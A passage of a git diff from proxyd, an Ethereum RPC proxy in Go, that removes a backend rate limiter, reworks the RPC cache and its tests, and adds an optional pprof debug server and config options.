"github.com/go-redis/redis/v8" -) - -const MaxRPSScript = ` -local current -current = redis.call("incr", KEYS[1]) -if current == 1 then - redis.call("expire", KEYS[1], 1) -end -return current -` - -const MaxConcurrentWSConnsScript = ` -redis.call("sadd", KEYS[1], KEYS[2]) -local total = 0 -local scanres = redis.call("sscan", KEYS[1], 0) -for _, k in ipairs(scanres[2]) do - local value = redis.call("get", k) - if value then - total = total + value - end -end - -if total < tonumber(ARGV[1]) then - redis.call("incr", KEYS[2]) - redis.call("expire", KEYS[2], 300) - return true -end - -return false -` - -type BackendRateLimiter interface { - IsBackendOnline(name string) (bool, error) - SetBackendOffline(name string, duration time.Duration) error - IncBackendRPS(name string) (int, error) - IncBackendWSConns(name string, max int) (bool, error) - DecBackendWSConns(name string) error - FlushBackendWSConns(names []string) error -} - -type RedisBackendRateLimiter struct { - rdb *redis.Client - randID string - touchKeys map[string]time.Duration - tkMtx sync.Mutex -} - -func NewRedisRateLimiter(rdb *redis.Client) BackendRateLimiter { - out := &RedisBackendRateLimiter{ - rdb: rdb, - randID: randStr(20), - touchKeys: make(map[string]time.Duration), - } - go out.touch() - return out -} - -func (r *RedisBackendRateLimiter) IsBackendOnline(name string) (bool, error) { - exists, err := r.rdb.Exists(context.Background(), fmt.Sprintf("backend:%s:offline", name)).Result() - if err != nil { - RecordRedisError("IsBackendOnline") - return false, wrapErr(err, "error getting backend availability") - } - - return exists == 0, nil -} - -func (r *RedisBackendRateLimiter) SetBackendOffline(name string, duration time.Duration) error { - if duration == 0 { - return nil - } - err := r.rdb.SetEX( - context.Background(), - fmt.Sprintf("backend:%s:offline", name), - 1, - duration, - ).Err() - if err != nil { - RecordRedisError("SetBackendOffline") - return wrapErr(err, "error setting backend unavailable") - } - return nil -} - -func (r *RedisBackendRateLimiter) IncBackendRPS(name string) (int, error) { - cmd := r.rdb.Eval( - context.Background(), - MaxRPSScript, - []string{fmt.Sprintf("backend:%s:ratelimit", name)}, - ) - rps, err := cmd.Int() - if err != nil { - RecordRedisError("IncBackendRPS") - return -1, wrapErr(err, "error upserting backend rate limit") - } - return rps, nil -} - -func (r *RedisBackendRateLimiter) IncBackendWSConns(name string, max int) (bool, error) { - connsKey := fmt.Sprintf("proxy:%s:wsconns:%s", r.randID, name) - r.tkMtx.Lock() - r.touchKeys[connsKey] = 5 * time.Minute - r.tkMtx.Unlock() - cmd := r.rdb.Eval( - context.Background(), - MaxConcurrentWSConnsScript, - []string{ - fmt.Sprintf("backend:%s:proxies", name), - connsKey, - }, - max, - ) - incremented, err := cmd.Bool() - // false gets coerced to redis.nil, see https://redis.io/commands/eval#conversion-between-lua-and-redis-data-types - if err == redis.Nil { - return false, nil - } - if err != nil { - RecordRedisError("IncBackendWSConns") - return false, wrapErr(err, "error incrementing backend ws conns") - } - return incremented, nil -} - -func (r *RedisBackendRateLimiter) DecBackendWSConns(name string) error { - connsKey := fmt.Sprintf("proxy:%s:wsconns:%s", r.randID, name) - err := r.rdb.Decr(context.Background(), connsKey).Err() - if err != nil { - RecordRedisError("DecBackendWSConns") - return wrapErr(err, "error decrementing backend ws conns") - } - return nil -} - -func (r *RedisBackendRateLimiter) FlushBackendWSConns(names []string) error { - ctx := context.Background() - for _, name := range names { - connsKey := fmt.Sprintf("proxy:%s:wsconns:%s", r.randID, name) - err := r.rdb.SRem( - ctx, - fmt.Sprintf("backend:%s:proxies", name), - connsKey, - ).Err() - if err != nil { - return wrapErr(err, "error flushing backend ws conns") - } - err = r.rdb.Del(ctx, connsKey).Err() - if err != nil { - return wrapErr(err, "error flushing backend ws conns") - } - } - return nil -} - -func (r *RedisBackendRateLimiter) touch() { - for { - r.tkMtx.Lock() - for key, dur := range r.touchKeys { - if err := r.rdb.Expire(context.Background(), key, dur).Err(); err != nil { - RecordRedisError("touch") - log.Error("error touching redis key", "key", key, "err", err) - } - } - r.tkMtx.Unlock() - time.Sleep(5 * time.Second) - } -} - -type LocalBackendRateLimiter struct { - deadBackends map[string]time.Time - backendRPS map[string]int - backendWSConns map[string]int - mtx sync.RWMutex -} - -func NewLocalBackendRateLimiter() *LocalBackendRateLimiter { - out := &LocalBackendRateLimiter{ - deadBackends: make(map[string]time.Time), - backendRPS: make(map[string]int), - backendWSConns: make(map[string]int), - } - go out.clear() - return out -} - -func (l *LocalBackendRateLimiter) IsBackendOnline(name string) (bool, error) { - l.mtx.RLock() - defer l.mtx.RUnlock() - return l.deadBackends[name].Before(time.Now()), nil -} - -func (l *LocalBackendRateLimiter) SetBackendOffline(name string, duration time.Duration) error { - l.mtx.Lock() - defer l.mtx.Unlock() - l.deadBackends[name] = time.Now().Add(duration) - return nil -} - -func (l *LocalBackendRateLimiter) IncBackendRPS(name string) (int, error) { - l.mtx.Lock() - defer l.mtx.Unlock() - l.backendRPS[name] += 1 - return l.backendRPS[name], nil -} - -func (l *LocalBackendRateLimiter) IncBackendWSConns(name string, max int) (bool, error) { - l.mtx.Lock() - defer l.mtx.Unlock() - if l.backendWSConns[name] == max { - return false, nil - } - l.backendWSConns[name] += 1 - return true, nil -} - -func (l *LocalBackendRateLimiter) DecBackendWSConns(name string) error { - l.mtx.Lock() - defer l.mtx.Unlock() - if l.backendWSConns[name] == 0 { - return nil - } - l.backendWSConns[name] -= 1 - return nil -} - -func (l *LocalBackendRateLimiter) FlushBackendWSConns(names []string) error { - return nil -} - -func (l *LocalBackendRateLimiter) clear() { - for { - time.Sleep(time.Second) - l.mtx.Lock() - l.backendRPS = make(map[string]int) - l.mtx.Unlock() - } -} - -func randStr(l int) string { - b := make([]byte, l) - if _, err := rand.Read(b); err != nil { - panic(err) - } - return hex.EncodeToString(b) -} - -type NoopBackendRateLimiter struct{} - -var noopBackendRateLimiter = &NoopBackendRateLimiter{} - -func (n *NoopBackendRateLimiter) IsBackendOnline(name string) (bool, error) { - return true, nil -} - -func (n *NoopBackendRateLimiter) SetBackendOffline(name string, duration time.Duration) error { - return nil -} - -func (n *NoopBackendRateLimiter) IncBackendRPS(name string) (int, error) { - return math.MaxInt, nil -} - -func (n *NoopBackendRateLimiter) IncBackendWSConns(name string, max int) (bool, error) { - return true, nil -} - -func (n *NoopBackendRateLimiter) DecBackendWSConns(name string) error { - return nil -} - -func (n *NoopBackendRateLimiter) FlushBackendWSConns(names []string) error { - return nil -} diff --git a/go/proxyd/backend_test.go b/go/proxyd/backend_test.go new file mode 100644 index 0000000000..7be23bfed7 --- /dev/null +++ b/go/proxyd/backend_test.go @@ -0,0 +1,21 @@ +package proxyd + +import ( + "github.com/stretchr/testify/assert" + "testing" +) + +func TestStripXFF(t *testing.T) { + tests := []struct { + in, out string + }{ + {"1.2.3, 4.5.6, 7.8.9", "1.2.3"}, + {"1.2.3,4.5.6", "1.2.3"}, + {" 1.2.3 , 4.5.6 ", "1.2.3"}, + } + + for _, test := range tests { + actual := stripXFF(test.in) + assert.Equal(t, test.out, actual) + } +} diff --git a/go/proxyd/cache.go b/go/proxyd/cache.go index 73b7fd890a..a93a393713 100644 --- a/go/proxyd/cache.go +++ b/go/proxyd/cache.go @@ -2,9 +2,13 @@ package proxyd import ( "context" + "encoding/json" + "strings" "time" - "github.com/go-redis/redis/v8" + "github.com/ethereum/go-ethereum/rpc" + "github.com/redis/go-redis/v9" + "github.com/golang/snappy" lru "github.com/hashicorp/golang-lru" ) @@ -43,16 +47,24 @@ func (c *cache) Put(ctx context.Context, key string, value string) error { } type redisCache struct { - rdb *redis.Client + rdb *redis.Client + prefix string +} + +func newRedisCache(rdb *redis.Client, prefix string) *redisCache { + return &redisCache{rdb, prefix} } -func newRedisCache(rdb *redis.Client) *redisCache { - return &redisCache{rdb} +func (c *redisCache) namespaced(key string) string { + if c.prefix == "" { + return key + } + return strings.Join([]string{c.prefix, key}, ":") } func (c *redisCache) Get(ctx context.Context, key string) (string, error) { start := time.Now() - val, err := c.rdb.Get(ctx, key).Result() + val, err := c.rdb.Get(ctx, c.namespaced(key)).Result() redisCacheDurationSumm.WithLabelValues("GET").Observe(float64(time.Since(start).Milliseconds())) if err == redis.Nil { @@ -66,7 +78,7 @@ func (c *redisCache) Get(ctx context.Context, key string) (string, error) { func (c *redisCache) Put(ctx context.Context, key string, value string) error { start := time.Now() - err := c.rdb.SetEX(ctx, key, value, redisTTL).Err() + err := c.rdb.SetEx(ctx, c.namespaced(key), value, redisTTL).Err() redisCacheDurationSumm.WithLabelValues("SETEX").Observe(float64(time.Since(start).Milliseconds())) if err != nil { @@ -103,9 +115,6 @@ func (c *cacheWithCompression) Put(ctx context.Context, key string, value string return c.cache.Put(ctx, key, string(encodedVal)) } -type GetLatestBlockNumFn func(ctx context.Context) (uint64, error) -type GetLatestGasPriceFn func(ctx context.Context) (uint64, error) - type RPCCache interface { GetRPC(ctx context.Context, req *RPCReq) (*RPCRes, error) PutRPC(ctx context.Context, req *RPCReq, res *RPCRes) error @@ -116,15 +125,40 @@ type rpcCache struct { handlers map[string]RPCMethodHandler } -func newRPCCache(cache Cache, getLatestBlockNumFn GetLatestBlockNumFn, getLatestGasPriceFn GetLatestGasPriceFn, numBlockConfirmations int) RPCCache { +func newRPCCache(cache Cache) RPCCache { + staticHandler := &StaticMethodHandler{cache: cache} + debugGetRawReceiptsHandler := &StaticMethodHandler{cache: cache, + filterGet: func(req *RPCReq) bool { + // cache only if the request is for a block hash + + var p []rpc.BlockNumberOrHash + err := json.Unmarshal(req.Params, &p) + if err != nil { + return false + } + if len(p) != 1 { + return false + } + return p[0].BlockHash != nil + }, + filterPut: func(req *RPCReq, res *RPCRes) bool { + // don't cache if response contains 0 receipts + rawReceipts, ok := res.Result.([]interface{}) + if !ok { + return false + } + return len(rawReceipts) > 0 + }, + } handlers := map[string]RPCMethodHandler{ - "eth_chainId": &StaticMethodHandler{}, - "net_version": &StaticMethodHandler{}, - "eth_getBlockByNumber": &EthGetBlockByNumberMethodHandler{cache, getLatestBlockNumFn, numBlockConfirmations}, - "eth_getBlockRange": &EthGetBlockRangeMethodHandler{cache, getLatestBlockNumFn, numBlockConfirmations}, - "eth_blockNumber": &EthBlockNumberMethodHandler{getLatestBlockNumFn}, - "eth_gasPrice": &EthGasPriceMethodHandler{getLatestGasPriceFn}, - "eth_call": &EthCallMethodHandler{cache, getLatestBlockNumFn, numBlockConfirmations}, + "eth_chainId": staticHandler, + "net_version": staticHandler, + "eth_getBlockTransactionCountByHash": staticHandler, + "eth_getUncleCountByBlockHash": staticHandler, + "eth_getBlockByHash": staticHandler, + "eth_getTransactionByBlockHashAndIndex": staticHandler, + "eth_getUncleByBlockHashAndIndex": staticHandler, + "debug_getRawReceipts": debugGetRawReceiptsHandler, } return &rpcCache{ cache: cache, @@ -138,14 +172,16 @@ func (c *rpcCache) GetRPC(ctx context.Context, req *RPCReq) (*RPCRes, error) { return nil, nil } res, err := handler.GetRPCMethod(ctx, req) - if res != nil { - if res == nil { - RecordCacheMiss(req.Method) - } else { - RecordCacheHit(req.Method) - } + if err != nil { + RecordCacheError(req.Method) + return nil, err + } + if res == nil { + RecordCacheMiss(req.Method) + } else { + RecordCacheHit(req.Method) } - return res, err + return res, nil } func (c *rpcCache) PutRPC(ctx context.Context, req *RPCReq, res *RPCRes) error { diff --git a/go/proxyd/cache_test.go b/go/proxyd/cache_test.go index 11c277bb1d..da47e7c4d6 100644 --- a/go/proxyd/cache_test.go +++ b/go/proxyd/cache_test.go @@ -2,23 +2,16 @@ package proxyd import ( "context" - "math" "strconv" "testing" "github.com/stretchr/testify/require" ) -const numBlockConfirmations = 10 - func TestRPCCacheImmutableRPCs(t *testing.T) { - const blockHead = math.MaxUint64 ctx := context.Background() - getBlockNum := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), getBlockNum, nil, numBlockConfirmations) + cache := newRPCCache(newMemoryCache()) ID := []byte(strconv.Itoa(1)) rpcs := []struct { @@ -55,276 +48,72 @@ func TestRPCCacheImmutableRPCs(t *testing.T) { { req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["0x1", false]`), - ID: ID, - }, - res: &RPCRes{ - JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, - ID: ID, - }, - name: "eth_getBlockByNumber", - }, - { - req: &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["earliest", false]`), + Method: "eth_getBlockTransactionCountByHash", + Params: mustMarshalJSON([]string{"0xb903239f8543d04b5dc1ba6579132b143087c68db1b2168786408fcbce568238"}), ID: ID, }, res: &RPCRes{ JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, + Result: `{"eth_getBlockTransactionCountByHash":"!"}`, ID: ID, }, - name: "eth_getBlockByNumber earliest", + name: "eth_getBlockTransactionCountByHash", }, { req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["0x1", "0x2", false]`), + Method: "eth_getUncleCountByBlockHash", + Params: mustMarshalJSON([]string{"0xb903239f8543d04b5dc1ba6579132b143087c68db1b2168786408fcbce568238"}), ID: ID, }, res: &RPCRes{ JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Result: `{"eth_getUncleCountByBlockHash":"!"}`, ID: ID, }, - name: "eth_getBlockRange", + name: "eth_getUncleCountByBlockHash", }, { req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["earliest", "0x2", false]`), + Method: "eth_getBlockByHash", + Params: mustMarshalJSON([]string{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", "false"}), ID: ID, }, res: &RPCRes{ JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Result: `{"eth_getBlockByHash":"!"}`, ID: ID, }, - name: "eth_getBlockRange earliest", + name: "eth_getBlockByHash", }, - } - - for _, rpc := range rpcs { - t.Run(rpc.name, func(t *testing.T) { - err := cache.PutRPC(ctx, rpc.req, rpc.res) - require.NoError(t, err) - - cachedRes, err := cache.GetRPC(ctx, rpc.req) - require.NoError(t, err) - require.Equal(t, rpc.res, cachedRes) - }) - } -} - -func TestRPCCacheBlockNumber(t *testing.T) { - var blockHead uint64 = 0x1000 - var gasPrice uint64 = 0x100 - ctx := context.Background() - ID := []byte(strconv.Itoa(1)) - - getGasPrice := func(ctx context.Context) (uint64, error) { - return gasPrice, nil - } - getBlockNum := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), getBlockNum, getGasPrice, numBlockConfirmations) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_blockNumber", - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `0x1000`, - ID: ID, - } - - err := cache.PutRPC(ctx, req, res) - require.NoError(t, err) - - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, res, cachedRes) - - blockHead = 0x1001 - cachedRes, err = cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, &RPCRes{JSONRPC: "2.0", Result: `0x1001`, ID: ID}, cachedRes) -} - -func TestRPCCacheGasPrice(t *testing.T) { - var blockHead uint64 = 0x1000 - var gasPrice uint64 = 0x100 - ctx := context.Background() - ID := []byte(strconv.Itoa(1)) - - getGasPrice := func(ctx context.Context) (uint64, error) { - return gasPrice, nil - } - getBlockNum := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), getBlockNum, getGasPrice, numBlockConfirmations) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_gasPrice", - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `0x100`, - ID: ID, - } - - err := cache.PutRPC(ctx, req, res) - require.NoError(t, err) - - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, res, cachedRes) - - gasPrice = 0x101 - cachedRes, err = cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, &RPCRes{JSONRPC: "2.0", Result: `0x101`, ID: ID}, cachedRes) -} - -func TestRPCCacheUnsupportedMethod(t *testing.T) { - const blockHead = math.MaxUint64 - ctx := context.Background() - - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) - ID := []byte(strconv.Itoa(1)) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_syncing", - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: false, - ID: ID, - } - - err := cache.PutRPC(ctx, req, res) - require.NoError(t, err) - - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) -} - -func TestRPCCacheEthGetBlockByNumber(t *testing.T) { - ctx := context.Background() - - var blockHead uint64 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - makeCache := func() RPCCache { return newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) } - ID := []byte(strconv.Itoa(1)) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["0xa", false]`), - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, - ID: ID, - } - req2 := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["0xb", false]`), - ID: ID, - } - res2 := &RPCRes{ - JSONRPC: "2.0", - Result: `{"difficulty": "0x2", "number": "0x2"}`, - ID: ID, - } - - t.Run("set multiple finalized blocks", func(t *testing.T) { - blockHead = 100 - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - require.NoError(t, cache.PutRPC(ctx, req2, res2)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, res, cachedRes) - cachedRes, err = cache.GetRPC(ctx, req2) - require.NoError(t, err) - require.Equal(t, res2, cachedRes) - }) - - t.Run("unconfirmed block", func(t *testing.T) { - blockHead = 0xc - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) -} - -func TestRPCCacheEthGetBlockByNumberForRecentBlocks(t *testing.T) { - ctx := context.Background() - - var blockHead uint64 = 2 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) - ID := []byte(strconv.Itoa(1)) - - rpcs := []struct { - req *RPCReq - res *RPCRes - name string - }{ { req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["latest", false]`), + Method: "eth_getUncleByBlockHashAndIndex", + Params: mustMarshalJSON([]string{"0xb903239f8543d04b5dc1ba6579132b143087c68db1b2168786408fcbce568238", "0x90"}), ID: ID, }, res: &RPCRes{ JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, + Result: `{"eth_getUncleByBlockHashAndIndex":"!"}`, ID: ID, }, - name: "latest block", + name: "eth_getUncleByBlockHashAndIndex", }, { req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["pending", false]`), + Method: "debug_getRawReceipts", + Params: mustMarshalJSON([]string{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"}), ID: ID, }, res: &RPCRes{ JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, + Result: []interface{}{"a"}, ID: ID, }, - name: "pending block", + name: "debug_getRawReceipts", }, } @@ -335,288 +124,90 @@ func TestRPCCacheEthGetBlockByNumberForRecentBlocks(t *testing.T) { cachedRes, err := cache.GetRPC(ctx, rpc.req) require.NoError(t, err) - require.Nil(t, cachedRes) + require.Equal(t, rpc.res, cachedRes) }) } } -func TestRPCCacheEthGetBlockByNumberInvalidRequest(t *testing.T) { - ctx := context.Background() - - const blockHead = math.MaxUint64 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) - ID := []byte(strconv.Itoa(1)) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockByNumber", - Params: []byte(`["0x1"]`), // missing required boolean param - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `{"difficulty": "0x1", "number": "0x1"}`, - ID: ID, - } - - err := cache.PutRPC(ctx, req, res) - require.Error(t, err) - - cachedRes, err := cache.GetRPC(ctx, req) - require.Error(t, err) - require.Nil(t, cachedRes) -} - -func TestRPCCacheEthGetBlockRange(t *testing.T) { +func TestRPCCacheUnsupportedMethod(t *testing.T) { ctx := context.Background() - var blockHead uint64 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - makeCache := func() RPCCache { return newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) } - ID := []byte(strconv.Itoa(1)) - - t.Run("finalized block", func(t *testing.T) { - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["0x1", "0x10", false]`), - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x10"}]`, - ID: ID, - } - blockHead = 0x1000 - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, res, cachedRes) - }) - - t.Run("unconfirmed block", func(t *testing.T) { - cache := makeCache() - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["0x1", "0x1000", false]`), - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, - ID: ID, - } - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) -} - -func TestRPCCacheEthGetBlockRangeForRecentBlocks(t *testing.T) { - ctx := context.Background() - - var blockHead uint64 = 0x1000 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) + cache := newRPCCache(newMemoryCache()) ID := []byte(strconv.Itoa(1)) rpcs := []struct { req *RPCReq - res *RPCRes name string }{ { + name: "eth_syncing", req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["0x1", "latest", false]`), - ID: ID, - }, - res: &RPCRes{ - JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Method: "eth_syncing", ID: ID, }, - name: "latest block", }, { + name: "eth_blockNumber", req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["0x1", "pending", false]`), - ID: ID, - }, - res: &RPCRes{ - JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Method: "eth_blockNumber", ID: ID, }, - name: "pending block", }, { + name: "eth_getBlockByNumber", req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["latest", "0x1000", false]`), - ID: ID, - }, - res: &RPCRes{ - JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Method: "eth_getBlockByNumber", ID: ID, }, - name: "latest block 2", }, - } - - for _, rpc := range rpcs { - t.Run(rpc.name, func(t *testing.T) { - err := cache.PutRPC(ctx, rpc.req, rpc.res) - require.NoError(t, err) - - cachedRes, err := cache.GetRPC(ctx, rpc.req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) - } -} - -func TestRPCCacheEthGetBlockRangeInvalidRequest(t *testing.T) { - ctx := context.Background() - - const blockHead = math.MaxUint64 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - cache := newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) - ID := []byte(strconv.Itoa(1)) - - rpcs := []struct { - req *RPCReq - res *RPCRes - name string - }{ { + name: "eth_getBlockRange", req: &RPCReq{ JSONRPC: "2.0", Method: "eth_getBlockRange", - Params: []byte(`["0x1", "0x2"]`), // missing required boolean param ID: ID, }, - res: &RPCRes{ + }, + { + name: "eth_gasPrice", + req: &RPCReq{ JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Method: "eth_gasPrice", ID: ID, }, - name: "missing boolean param", }, { + name: "eth_call", req: &RPCReq{ JSONRPC: "2.0", - Method: "eth_getBlockRange", - Params: []byte(`["abc", "0x2", true]`), // invalid block hex + Method: "eth_gasPrice", ID: ID, }, - res: &RPCRes{ + }, + { + req: &RPCReq{ JSONRPC: "2.0", - Result: `[{"number": "0x1"}, {"number": "0x2"}]`, + Method: "debug_getRawReceipts", + Params: mustMarshalJSON([]string{"0x100"}), ID: ID, }, - name: "invalid block hex", + name: "debug_getRawReceipts", }, } for _, rpc := range rpcs { t.Run(rpc.name, func(t *testing.T) { - err := cache.PutRPC(ctx, rpc.req, rpc.res) - require.Error(t, err) + fakeval := mustMarshalJSON([]string{rpc.name}) + err := cache.PutRPC(ctx, rpc.req, &RPCRes{Result: fakeval}) + require.NoError(t, err) cachedRes, err := cache.GetRPC(ctx, rpc.req) - require.Error(t, err) + require.NoError(t, err) require.Nil(t, cachedRes) }) } -} - -func TestRPCCacheEthCall(t *testing.T) { - ctx := context.Background() - - var blockHead uint64 - fn := func(ctx context.Context) (uint64, error) { - return blockHead, nil - } - - makeCache := func() RPCCache { return newRPCCache(newMemoryCache(), fn, nil, numBlockConfirmations) } - ID := []byte(strconv.Itoa(1)) - - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_call", - Params: []byte(`[{"to": "0xDEADBEEF", "data": "0x1"}, "0x10"]`), - ID: ID, - } - res := &RPCRes{ - JSONRPC: "2.0", - Result: `0x0`, - ID: ID, - } - - t.Run("finalized block", func(t *testing.T) { - blockHead = 0x100 - cache := makeCache() - err := cache.PutRPC(ctx, req, res) - require.NoError(t, err) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Equal(t, res, cachedRes) - }) - - t.Run("unconfirmed block", func(t *testing.T) { - blockHead = 0x10 - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) - - t.Run("latest block", func(t *testing.T) { - blockHead = 0x100 - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_call", - Params: []byte(`[{"to": "0xDEADBEEF", "data": "0x1"}, "latest"]`), - ID: ID, - } - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) - t.Run("pending block", func(t *testing.T) { - blockHead = 0x100 - req := &RPCReq{ - JSONRPC: "2.0", - Method: "eth_call", - Params: []byte(`[{"to": "0xDEADBEEF", "data": "0x1"}, "pending"]`), - ID: ID, - } - cache := makeCache() - require.NoError(t, cache.PutRPC(ctx, req, res)) - cachedRes, err := cache.GetRPC(ctx, req) - require.NoError(t, err) - require.Nil(t, cachedRes) - }) } diff --git a/go/proxyd/cmd/proxyd/main.go b/go/proxyd/cmd/proxyd/main.go index c184a1d3fd..10a1518cdb 100644 --- a/go/proxyd/cmd/proxyd/main.go +++ b/go/proxyd/cmd/proxyd/main.go @@ -1,8 +1,12 @@ package main import ( + "net" + "net/http" + "net/http/pprof" "os" "os/signal" + "strconv" "syscall" "github.com/BurntSushi/toml" @@ -52,7 +56,18 @@ func main() { ), ) - shutdown, err := proxyd.Start(config) + if config.Server.EnablePprof { + log.Info("starting pprof", "addr", "0.0.0.0", "port", "6060") + pprofSrv := StartPProf("0.0.0.0", 6060) + log.Info("started pprof server", "addr", pprofSrv.Addr) + defer func() { + if err := pprofSrv.Close(); err != nil { + log.Error("failed to stop pprof server", "err", err) + } + }() + } + + _, shutdown, err := proxyd.Start(config) if err != nil { log.Crit("error starting proxyd", "err", err) } @@ -63,3 +78,25 @@ func main() { log.Info("caught signal, shutting down", "signal", recvSig) shutdown() } + +func StartPProf(hostname string, port int) *http.Server { + mux := http.NewServeMux() + + // have to do below to support multiple servers, since the + // pprof import only uses DefaultServeMux + mux.Handle("/debug/pprof/", http.HandlerFunc(pprof.Index)) + mux.Handle("/debug/pprof/cmdline", http.HandlerFunc(pprof.Cmdline)) + mux.Handle("/debug/pprof/profile", http.HandlerFunc(pprof.Profile)) + mux.Handle("/debug/pprof/symbol", http.HandlerFunc(pprof.Symbol)) + mux.Handle("/debug/pprof/trace", http.HandlerFunc(pprof.Trace)) + + addr := net.JoinHostPort(hostname, strconv.Itoa(port)) + srv := &http.Server{ + Handler: mux, + Addr: addr, + } + + go srv.ListenAndServe() + + return srv +} diff --git a/go/proxyd/config.go b/go/proxyd/config.go index 7a004f09e5..fefca9f6e5 100644 --- a/go/proxyd/config.go +++ b/go/proxyd/config.go @@ -2,6 +2,7 @@ package proxyd import ( "fmt" + "math/big" "os" "strings" "time" @@ -23,16 +24,17 @@ type ServerConfig struct { EnableRequestLog bool `toml:"enable_request_log"` MaxRequestBodyLogLen int `toml:"max_request_body_log_len"` + EnablePprof bool `toml:"enable_pprof"` + EnableXServedByHeader bool `toml:"enable_served_by_header"` } type CacheConfig struct { - Enabled bool `toml:"enabled"` - BlockSyncRPCURL string `toml:"block_sync_rpc_url"` - NumBlockConfirmations int `toml:"num_block_confirmations"` + Enabled bool `toml:"enabled"` } type RedisConfig struct { - URL string `toml:"url"` + URL string `toml:"url"` + Namespace string `toml:"namespace"` } type MetricsConfig struct { @@ -42,14 +44,13 